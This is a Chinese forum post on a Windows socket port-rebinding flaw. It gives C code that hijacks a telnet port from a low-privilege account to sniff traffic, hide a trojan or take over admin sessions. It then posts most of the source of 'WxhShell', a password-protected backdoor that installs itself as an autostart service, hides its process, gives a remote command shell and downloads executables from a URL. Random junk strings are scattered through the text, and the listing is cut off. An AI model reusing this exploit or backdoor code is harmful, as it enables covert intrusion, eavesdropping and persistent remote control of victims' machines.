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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fwx~ ~"I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dj ]Hgg  
mj~N]cxB  
  saddr.sin_family = AF_INET; (\mulj  
$dZ>bXUw:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5}MlZp  
ELrZ8&5G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "gbnLKs  
F;Q_*0mIQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MX`Wg  
`mKlv~$1^  
  这意味着什么?意味着可以进行如下的攻击: > 0Twr  
BsK|:MM]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aFr!PQp4{  
k99gjL`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b1+hr(kMRM  
-_EY$ ?4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >^H'ZYzw  
Cwsoz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :,%J6Zh?  
pqH( Tbjq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (o*e<y,}W  
vTMP&a'5L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4kaE}uKU  
dI_r:xN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t(j_eq}J  
,a9D~i 9R  
  #include *dG}R#9Nv  
  #include Z{a{HX[Jx  
  #include Ox7uG{t$#  
  #include    - - i&"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9ra HSzK@d  
  int main() qab) 1ft  
  { VBbUl|X\  
  WORD wVersionRequested; %="~\1y  
  DWORD ret; 5Cc6 , ]  
  WSADATA wsaData; Dm|gSv8d,  
  BOOL val; y$j1?7  
  SOCKADDR_IN saddr; QIij>!c4  
  SOCKADDR_IN scaddr; <TLGfA1bC  
  int err; &\"Y/b]  
  SOCKET s; !B [1zE  
  SOCKET sc; ]r/(n]=(  
  int caddsize; v:veV.y  
  HANDLE mt; f.b8ZBNj>  
  DWORD tid;   IOsXPf9@  
  wVersionRequested = MAKEWORD( 2, 2 ); u Q:ut(  
  err = WSAStartup( wVersionRequested, &wsaData ); VD9 q5tt7  
  if ( err != 0 ) { vx\nr8'k  
  printf("error!WSAStartup failed!\n"); y3={NB+  
  return -1; `d}W;&c  
  } I"8d5a}  
  saddr.sin_family = AF_INET; 6P%<[Z  
   ilDJwZg#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 < -Hs<T|tW  
:b<-[8d&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mD D4_E2*  
  saddr.sin_port = htons(23); _l#3]#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ERp:EZ'  
  { oF%^QT"R  
  printf("error!socket failed!\n"); gB/;clCdX)  
  return -1;  &7L~PZ  
  } (MgL"8TS  
  val = TRUE; ur/Oc24i1n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3E<aiGU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y\F`B0#$  
  { O%YjWb  
  printf("error!setsockopt failed!\n"); @D fkGm[%  
  return -1; vQ:x% =]  
  } S}zC3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8l U;y)Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -d|BO[4j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5wzQ?07T_  
Hi]vHG(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ojN`#%X  
  { ?@Z7O.u  
  ret=GetLastError(); <KHv|)ak  
  printf("error!bind failed!\n"); #'J~Xk   
  return -1; Qy{NS.T  
  } ?*CRa$_I|  
  listen(s,2); sTd}cP  
  while(1) 5"1!p3`\D{  
  { /yx=7<  
  caddsize = sizeof(scaddr); CCuxC9i7  
  //接受连接请求 Rz`@N`U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v\fzO#vj  
  if(sc!=INVALID_SOCKET) gXq!a|eH  
  { kk 8R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t *o7,  
  if(mt==NULL) r> Fec  
  { o{9?:*?7  
  printf("Thread Creat Failed!\n"); qA UaF;{  
  break; ge^!F>whr  
  } h^%GE;N  
  } =RQ )$ %  
  CloseHandle(mt); .>k=A|3G  
  } AU0$A403  
  closesocket(s); Q8 -3RgAw  
  WSACleanup(); ZvUp#8x(3  
  return 0; P-[fHCg~  
  }   (YAI,Xnw  
  DWORD WINAPI ClientThread(LPVOID lpParam) jZa25Z00  
  { OF-E6bc  
  SOCKET ss = (SOCKET)lpParam; !c\7  
  SOCKET sc; X"kXNKV/n  
  unsigned char buf[4096]; :_MP'0QP  
  SOCKADDR_IN saddr; $TR=3[j  
  long num; w|&,I4["  
  DWORD val; :0B |<~lX  
  DWORD ret; |$M@09,F"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1T!cc%ah  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '!pAnsXfO  
  saddr.sin_family = AF_INET; vkd *ER^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ; Zh9^0  
  saddr.sin_port = htons(23); buRhQ"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :[ L{KFQU  
  { ~@xT]D!BQ  
  printf("error!socket failed!\n"); S2Zx &D/_  
  return -1; U%Dit  
  } j -#E?&2  
  val = 100; 0xN!DvCg>.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (2: N;  
  { : @s8?eg  
  ret = GetLastError(); (gLea  
  return -1; XxhsPFv  
  } YQN.Ohtv*F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *f{7  
  { g+igxC}2z  
  ret = GetLastError(); I9;xzES  
  return -1; >g=^,G}y  
  } <BZ_ (H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1d`cTaQ-  
  { K-Re"zsz  
  printf("error!socket connect failed!\n"); pV8[l)J  
  closesocket(sc); }(m1ql  
  closesocket(ss); 4/b(Y4$,[r  
  return -1; J(4g4?  
  } t5%TS:u  
  while(1) TS1pR"6l  
  { Y^4q9?2G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Dq|GQdZ>o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ya#RII']  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iA]DE`S  
  num = recv(ss,buf,4096,0); ?vvG)nW  
  if(num>0) ^Fn%K].X  
  send(sc,buf,num,0); { AFf:[G  
  else if(num==0) 'CgV0&@  
  break; >xZ5 ac I  
  num = recv(sc,buf,4096,0); B<Ol+)@,}  
  if(num>0) qbH %Hx  
  send(ss,buf,num,0); CdZnD#F2  
  else if(num==0) i)=m7i  
  break; X|,["Az 8  
  } Pv~:gP  
  closesocket(ss); )5U !>,fT  
  closesocket(sc); (/-lV&eR  
  return 0 ; v3 -5"q!Sq  
  } &i)helXs]  
b)d^ `J  
B`#*o<eb  
========================================================== 2_ wv C  
?gU}[]  
下边附上一个代码,,WXhSHELL _wmI(+_  
xg?auje  
========================================================== }*h47t}  
V- /YNRV  
#include "stdafx.h" Mw+v"l&mU  
_FT6]I0  
#include <stdio.h> >d#3|;RY  
#include <string.h> I,]J=xi  
#include <windows.h> 0Yp>+:#  
#include <winsock2.h> 04~}IbeJ  
#include <winsvc.h> u >4ArtF  
#include <urlmon.h> #vtN+E  
X6'H`E[  
#pragma comment (lib, "Ws2_32.lib") jKS!'?  
#pragma comment (lib, "urlmon.lib") alV dQfu  
3EI]bmi~  
#define MAX_USER   100 // 最大客户端连接数 S.1( 3j*  
#define BUF_SOCK   200 // sock buffer \Yd4gaY\o  
#define KEY_BUFF   255 // 输入 buffer P:qz2Hw  
*<7l!#  
#define REBOOT     0   // 重启 ~JLYhA^'+<  
#define SHUTDOWN   1   // 关机 Z/gsCYS3F  
76_<xUt{  
#define DEF_PORT   5000 // 监听端口 N\'TR6_,b  
Yc|uD-y  
#define REG_LEN     16   // 注册表键长度 X{`1:c'x  
#define SVC_LEN     80   // NT服务名长度 Oo1ecbY  
(#If1[L  
// 从dll定义API ~}K{e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5?w.rcN[j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RtwUb(wn6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |U EC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "-P/jk  
';Nu&D#Ph  
// wxhshell配置信息 St+ "ih%  
struct WSCFG { ^zg acn  
  int ws_port;         // 监听端口 ?,>5[Ha^?  
  char ws_passstr[REG_LEN]; // 口令 8TW5(fl  
  int ws_autoins;       // 安装标记, 1=yes 0=no zSKKr?{  
  char ws_regname[REG_LEN]; // 注册表键名 GB =bG%Tb  
  char ws_svcname[REG_LEN]; // 服务名 bJwc1AJgH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [ZD[a6(94  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hXc}r6<B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AX;c}0g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e?P%wqB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }3J=DCtS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eIJ[0c b}  
|kc@L`7s  
}; Y.NE^Vn0  
6A?8tm/0  
// default Wxhshell configuration b)`pZiQP  
struct WSCFG wscfg={DEF_PORT, SB/3jH  
    "xuhuanlingzhe", n+rM"Gxz  
    1, 'BhwNuW\"  
    "Wxhshell", @D]lgq[  
    "Wxhshell", yPN+W8}f  
            "WxhShell Service", "Vy WT  
    "Wrsky Windows CmdShell Service", l sr?b  
    "Please Input Your Password: ", +(&|uq^  
  1, XhN{S]Wn  
  "http://www.wrsky.com/wxhshell.exe", </=3g>9Z  
  "Wxhshell.exe" 5{X*a  
    }; IJ_ m  
m]P/if7  
// 消息定义模块 d8o ewkiR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b]i>Bv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vY_eDJ~'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1O0X-C,wo$  
char *msg_ws_ext="\n\rExit."; 8#l+{`$z  
char *msg_ws_end="\n\rQuit."; /?P!.!W&  
char *msg_ws_boot="\n\rReboot..."; @vt$MiOi  
char *msg_ws_poff="\n\rShutdown..."; ~j"3}wXc5  
char *msg_ws_down="\n\rSave to "; 'fn$'CeM(  
WqQU@sA  
char *msg_ws_err="\n\rErr!"; #w|5 jN?  
char *msg_ws_ok="\n\rOK!"; dlR_ckp  
Zi*%*nX  
char ExeFile[MAX_PATH]; Oyan9~  
int nUser = 0; |IN[uQ  
HANDLE handles[MAX_USER]; 1'fb @vO  
int OsIsNt; y42#n  
=) }nLS3t  
SERVICE_STATUS       serviceStatus; V^sc1ak1Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P,ydt  
i/*,N&^  
// 函数声明 )i-gs4[(QN  
int Install(void); Mq'IkSt'  
int Uninstall(void); vxVOcO9<  
int DownloadFile(char *sURL, SOCKET wsh); 9go))&`PJL  
int Boot(int flag); oj@g2H5P  
void HideProc(void); CmnHh~%  
int GetOsVer(void); F>-}*o  
int Wxhshell(SOCKET wsl); m#n]Wgp'  
void TalkWithClient(void *cs); J^:n* C  
int CmdShell(SOCKET sock); M4:s;@qZ.  
int StartFromService(void); d.AC%&W  
int StartWxhshell(LPSTR lpCmdLine);  :,~K]G  
Ww`&i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (f>M &..  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n[CoS  
:tbd,Uo  
// 数据结构和表定义 2(+P[(N1,  
SERVICE_TABLE_ENTRY DispatchTable[] = r6 }_H?j  
{ X~L!e}Rz  
{wscfg.ws_svcname, NTServiceMain}, ~OCZz$qA  
{NULL, NULL} H+x#gK2l  
}; lDN?|YG  
q3+8]-9|5  
// 自我安装 D/:3R ZF  
int Install(void) no&-YktP}  
{ YtYy zX5u7  
  char svExeFile[MAX_PATH]; P=gJAE5  
  HKEY key; b-%l-u  
  strcpy(svExeFile,ExeFile); f^e&hyC   
8,*3zVk-  
// 如果是win9x系统,修改注册表设为自启动 ;;Tq$#vd  
if(!OsIsNt) { -?fR|[\[U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t!qwxX*$T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IaasHo\  
  RegCloseKey(key); 1Es qQz*$u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S{:Cu}o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 :U8 f:  
  RegCloseKey(key); x{hn2]6+eB  
  return 0; l1r_b68  
    } 9/3;{`+[a  
  } p6[ (81  
} -;Uj|^  
else { 1`l;xw1W  
D#0O[F@l##  
// 如果是NT以上系统,安装为系统服务 h<NRE0-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <\aU"_D   
if (schSCManager!=0) e=>% ^F  
{ G~!C =l  
  SC_HANDLE schService = CreateService (B}+h   
  ( >| m.?{^  
  schSCManager, fp;a5||5  
  wscfg.ws_svcname, 0( //D;j  
  wscfg.ws_svcdisp, WeVi] n  
  SERVICE_ALL_ACCESS, : Ss3ck*=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n)RM+g  
  SERVICE_AUTO_START, 8x{Hg9  
  SERVICE_ERROR_NORMAL, BIfi:7I;Q  
  svExeFile, CDCC1BG"  
  NULL, GOVAb'  
  NULL, ti9}*8  
  NULL, XU9'Rfp  
  NULL, &t3Jv{  
  NULL yL&/m~{s  
  ); ] .5O X84  
  if (schService!=0) %?=)!;[  
  { ~L'nz quF  
  CloseServiceHandle(schService); (("OYj  
  CloseServiceHandle(schSCManager); ZqK]jT6V/X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % rcFT_  
  strcat(svExeFile,wscfg.ws_svcname); jBRPR R0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N`1r;%5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lRND  
  RegCloseKey(key); r/PKrw sC  
  return 0; *rf$>8~$n  
    } aR)?a;}H  
  } ik\S88|  
  CloseServiceHandle(schSCManager); \ja `c)x  
} GYoseqZM  
} .'lN4x  
3dm'xe tM  
return 1; Ef,Cd[]b  
} ~ 5"J(  
[h HG .  
// 自我卸载 jVYH;B%%z  
int Uninstall(void) %g w{[ /[A  
{ g^j7@dum  
  HKEY key; Funj!x'uE  
a D|Yo  
if(!OsIsNt) { HcO5?{2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7cw]v"iv  
  RegDeleteValue(key,wscfg.ws_regname); eqhAus?)  
  RegCloseKey(key); o](.368+4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Euu ,mleM  
  RegDeleteValue(key,wscfg.ws_regname); )4uq iA6  
  RegCloseKey(key); y<M]dd$  
  return 0; :hP58 }Q$  
  } q%S8\bt  
} !<r8~A3!(  
} [H^ X"D  
else { fl)zQcA  
d?7BxYaa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r/Dd& x  
if (schSCManager!=0) (}~ucI<~  
{ @vAFfYU9<.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bn-=fb(  
  if (schService!=0) sTOFw;v%  
  { hdj%|~Fj  
  if(DeleteService(schService)!=0) { 4B$bj `h  
  CloseServiceHandle(schService); WG%2<Q^  
  CloseServiceHandle(schSCManager); ,q</@}.\wN  
  return 0; 3;Hd2 ;G  
  } 2AK}D%jfc  
  CloseServiceHandle(schService); 6x4_b  
  } kqf8=y  
  CloseServiceHandle(schSCManager); m6MaX}&zv  
} S@A<6   
} or.\)(m#(  
5"gL.Ez  
return 1; __(V C :  
} all*P #[X  
]M\q0>HoJ  
// 从指定url下载文件 iZC`z }  
int DownloadFile(char *sURL, SOCKET wsh) 1b[NgOXY=  
{ c F=P!2 @  
  HRESULT hr; SQ<f  
char seps[]= "/"; KN, 4@4  
char *token; jY+Do:#/wO  
char *file; 4J8Dh;a`  
char myURL[MAX_PATH]; #(dhBEXPW;  
char myFILE[MAX_PATH]; D|TR!  
$W,zO|-  
strcpy(myURL,sURL); -'ZxN'*%  
  token=strtok(myURL,seps); V16%Ne  
  while(token!=NULL) 61,O%lV  
  { O 6]u!NqG  
    file=token; [q"NU&SX  
  token=strtok(NULL,seps); AT ymKJ  
  } iNLDl~uU  
pVz*ZQ[]  
GetCurrentDirectory(MAX_PATH,myFILE); PWG;&ma  
strcat(myFILE, "\\"); 7LdzZS0OM  
strcat(myFILE, file); H:MUNc8i  
  send(wsh,myFILE,strlen(myFILE),0); yHOqzq56  
send(wsh,"...",3,0); `^%@b SE(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tk](eQsy.v  
  if(hr==S_OK) PUKVn+h  
return 0; A:)sg!Lt  
else ]bu9-X&T&  
return 1; 2Fq=jOA)z$  
A^L?_\e6  
} uMpl#N p  
ay-9c2E  
// 系统电源模块 ' &N20w  
int Boot(int flag) cNeiD@t3V&  
{ KBj@V6Q  
  HANDLE hToken; W0?JVtq0Z  
  TOKEN_PRIVILEGES tkp; |*1xrM:v~  
r\RFDj  
  if(OsIsNt) { hXTYTbTX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q@Dkl F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Y8qWJU  
    tkp.PrivilegeCount = 1; ?FDJqJM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c/RT0xql*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eA&t %  
if(flag==REBOOT) { z}3di5+P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^XNw$@&',  
  return 0; -;ER`Jqs,  
} 9C=~1>S  
else { X2{`l8%Ek  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]_\AHnJ  
  return 0; q|Fjm]AF  
} C (U  
  } `GS cRhbh  
  else { q#m!/wod  
if(flag==REBOOT) { :mn(0 R~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pJocI_v9  
  return 0; ->3uOF!q  
} F {/>u(@3  
else { !G[f[u4Zg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *?p ^6vO  
  return 0; Cy6%S).c  
} wBE7Bv45  
} OOfy Gvs  
y:C)%cv}*  
return 1; L9$&-A9ix  
} T?#s'd  
nfa_8  
// win9x进程隐藏模块 '(TmV#3  
void HideProc(void) ?N`qLGRm  
{ ",QYDFFeF  
@o60 c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?0uOR *y'  
  if ( hKernel != NULL ) ot0U-G(  
  { ovbEmb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +\srZ<67  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3jXR"@Z-  
    FreeLibrary(hKernel); J ZA*{n2  
  } R qn WtE  
@]E]W#xAn  
return; W w^7^q&  
} aU4R+.M7@  
brj[c>ID  
// 获取操作系统版本 aj?2jU~Pq  
int GetOsVer(void) 8<Xq=*J+  
{ }a' cm!"  
  OSVERSIONINFO winfo; L,WkJe3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )O9fhj)  
  GetVersionEx(&winfo); WqR7uiCi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) el}hcAY/RP  
  return 1; X:U=MWc>  
  else u |'8a1  
  return 0; k?< i*;7  
} ma1 (EJ/  
eVrnVPkM  
// 客户端句柄模块 )=y.^@UT@  
int Wxhshell(SOCKET wsl) gt~9"I  
{ lQh~Q<[ge  
  SOCKET wsh; 40R"^*  
  struct sockaddr_in client; VZHr-z$6n  
  DWORD myID; 28ja-1dB  
~m!#FTc*  
  while(nUser<MAX_USER) :MK:TJV  
{ 1E8$% 6VV  
  int nSize=sizeof(client); /9P^{ OZ;y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A 0 S8Dh$  
  if(wsh==INVALID_SOCKET) return 1; 8~;{xYN )  
1]Gf)|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o T:j:n  
if(handles[nUser]==0) 1k$2LQ  
  closesocket(wsh); eU`;L [  
else J9NsHr:A[  
  nUser++; ' J2ewW5  
  } o1Ne+Jt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =[s8q2V  
UE\%e9<l  
  return 0; cT\O v P*_  
} K!9y+%01  
NWw<B3aL  
// 关闭 socket E=}6 X9X  
void CloseIt(SOCKET wsh) vz- 9<w;>a  
{ yq1Gqbh l  
closesocket(wsh); h] <GTWj  
nUser--; _cR6ik zW(  
ExitThread(0); NS h%t+XU]  
} 3T"2S[gT  
@<|6{N<  
// 客户端请求句柄 sf fV.cC`  
void TalkWithClient(void *cs) "v@);\-V  
{ 6euR'd^Qi  
1]"D%U=  
  SOCKET wsh=(SOCKET)cs; ^g}L`9fL  
  char pwd[SVC_LEN]; rFf :A-#l  
  char cmd[KEY_BUFF]; hJecCOA)'  
char chr[1]; >9 q]>fJ  
int i,j; G!nl'5|y  
n/xXQ7y  
  while (nUser < MAX_USER) { |!{ z? i  
KrJ5"1=  
if(wscfg.ws_passstr) { 2=jd;2~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kZJt ~}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eH ;Wfs2f  
  //ZeroMemory(pwd,KEY_BUFF); o^8*aH)I>Y  
      i=0; 4 U3C~J  
  while(i<SVC_LEN) { =g/4{IL%  
:8](&B68gE  
  // 设置超时 @m5O{[euj<  
  fd_set FdRead; (}9cD^F0n  
  struct timeval TimeOut; $$k7_rs  
  FD_ZERO(&FdRead); r5D jCV"  
  FD_SET(wsh,&FdRead); <9=zP/Q  
  TimeOut.tv_sec=8; X'YfjbGo  
  TimeOut.tv_usec=0; n>u.3w L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wYZy e^7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W/b"a?wE{  
s.f`.o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d&/^34gn  
  pwd=chr[0]; )C'G2RV  
  if(chr[0]==0xd || chr[0]==0xa) { X7t 5b7  
  pwd=0; TFAYVK~  
  break; ~D<7W4c  
  } E%-Pyg*  
  i++; 3yeK@>C  
    } R1I I k  
!y.ei1diw  
  // 如果是非法用户,关闭 socket KK@ &q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K4iI:  
} xeJ9H~^  
!x`;>0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,O$Z,J4VL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); );0<Odw%.  
d\v$%0  
while(1) { elN{7:  
9 yh9HE  
  ZeroMemory(cmd,KEY_BUFF); N7d17c. 5  
(J6" ;  
      // 自动支持客户端 telnet标准   }rO?5  
  j=0; yTzY?  
  while(j<KEY_BUFF) { *rS9eej  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Hc H'nmeN  
  cmd[j]=chr[0]; H+S~ bzz  
  if(chr[0]==0xa || chr[0]==0xd) { l[tY,Y:4qO  
  cmd[j]=0; ~%olCxfO  
  break; \;nD)<)J  
  } *54>iO- c  
  j++; JoZqLy!@  
    } &{X{36  
b=6MFPbg  
  // 下载文件 SZCF3m&pz  
  if(strstr(cmd,"http://")) { aO~s i=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L~@ma(TV{K  
  if(DownloadFile(cmd,wsh)) clh3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kWzuz#  
  else j lYD~)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ygmv_YLjm  
  } k! J4Z ${k  
  else { eXj\DjttG}  
\(.nPW]9  
    switch(cmd[0]) { CQ@#::'F1  
  BP)q6?Mz  
  // 帮助 9oZ } h&  
  case '?': { BSx j~pun  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AyQS4A.s[  
    break; w8eG;  
  } w$w>N(e  
  // 安装 Tns?mQ  
  case 'i': { @rnp- +kq  
    if(Install()) jxRF"GD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8@Egy%_  
    else /#S4espE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&fW5af9  
    break; @4 zi]v  
    } I-RdAVB/Ep  
  // 卸载 hQgk.$g  
  case 'r': { FRl3\ZDqrb  
    if(Uninstall()) 'hwV   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U%mkhWn  
    else [}W^4,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?noETHz)  
    break; y3 ({(URU  
    } _hAj2%SL  
  // 显示 wxhshell 所在路径 0EL\Hd  
  case 'p': { ({;P#qCX  
    char svExeFile[MAX_PATH]; 6vD]@AF  
    strcpy(svExeFile,"\n\r"); QU-7Ch#8  
      strcat(svExeFile,ExeFile); %NF<bEV  
        send(wsh,svExeFile,strlen(svExeFile),0); w Mlf3Uz  
    break; Tf&f`/  
    } `jD8(}_  
  // 重启 /|4Q9=  
  case 'b': { dWzDSlP&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R&u)=~O\5  
    if(Boot(REBOOT)) {AU` }*5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^kCk^D-Gz  
    else { -XS+Uv  
    closesocket(wsh); KKx&UKjV  
    ExitThread(0); SR&(HH$  
    } #~bU}[{  
    break; _H~pH7WU  
    } @Og\SZhn  
  // 关机 @{J!6YGh  
  case 'd': { N.fQ7z=Z(M  
